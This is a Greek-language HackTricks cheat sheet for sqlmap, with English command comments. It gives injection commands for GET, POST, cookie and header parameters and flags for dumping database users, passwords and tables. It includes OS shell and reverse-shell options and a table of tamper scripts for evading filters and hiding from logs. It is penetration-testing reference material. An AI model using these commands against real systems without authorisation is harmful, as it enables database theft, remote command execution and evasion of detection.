166 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../banners/hacktricks-training.md}}
# Βασικά επιχειρήματα για το SQLmap
## Γενικά
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Ανάκτηση Πληροφοριών
### Εσωτερικό
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Δεδομένα DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injection place
## Από την καταγραφή Burp/ZAP
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
```bash
sqlmap -r req.txt --current-user
```
## Εισαγωγή Αιτήματος GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Εισαγωγή Αιτήματος POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Δεύτερη τάξη έγχυσης
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Κέλυφος
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Προσαρμογή Εισαγωγής
## Ορίστε ένα επίθημα
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Πρόθεμα
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Βοήθεια για την εύρεση boolean injection
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Τροποποίηση
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλά κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| charunicodeencode.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "\u0022" |
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς τους αντιστοίχους \(&& και |
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}